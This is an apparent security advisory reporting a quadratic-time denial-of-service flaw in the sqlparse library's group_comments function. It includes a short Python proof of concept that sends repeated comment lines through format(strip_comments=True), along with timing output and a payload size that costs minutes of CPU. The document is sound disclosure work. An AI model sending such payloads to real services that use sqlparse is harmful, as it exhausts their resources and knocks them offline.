sqlparse: Quadratic O(n²) DoS in group_comments

Summary

A comment-only statement (-- c\n*n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group_comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip_comments=True).

A statement made of many single-line comments ('-- c\n' repeated) lexes in O(n) but group_comments is O(n²):

def group_comments(tlist):
    tidx, token = tlist.token_next_by(t=T.Comment)
    while token:
        eidx, end = tlist.token_not_matching(
            lambda tk: imt(tk, t=T.Comment) or tk.is_newline, idx=tidx)
        ...
        tidx, token = tlist.token_next_by(t=T.Comment, idx=tidx)

The while loop runs n times and each token_next_by / token_not_matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.

Two following factors increase the severity:

1. group_comments runs first in group() (grouping.py:439), before the _group_matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX_GROUPING_TOKENS does not provide protection on this vector.
2. It sits on the primary sanitizer path: format(sql, strip_comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:

import time, sqlparse
for n in (1000, 2000, 4000):
    s = "-- c\n" * n
    t = time.perf_counter()
    sqlparse.format(s, strip_comments=True)
    print(f"n={n:5d}  format(strip_comments)={1000*(time.perf_counter()-t):7.1f} ms")

Output:

n= 1000  format(strip_comments)=  106.0 ms
n= 2000  format(strip_comments)=  403.3 ms
n= 4000  format(strip_comments)= 1602.8 ms

Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.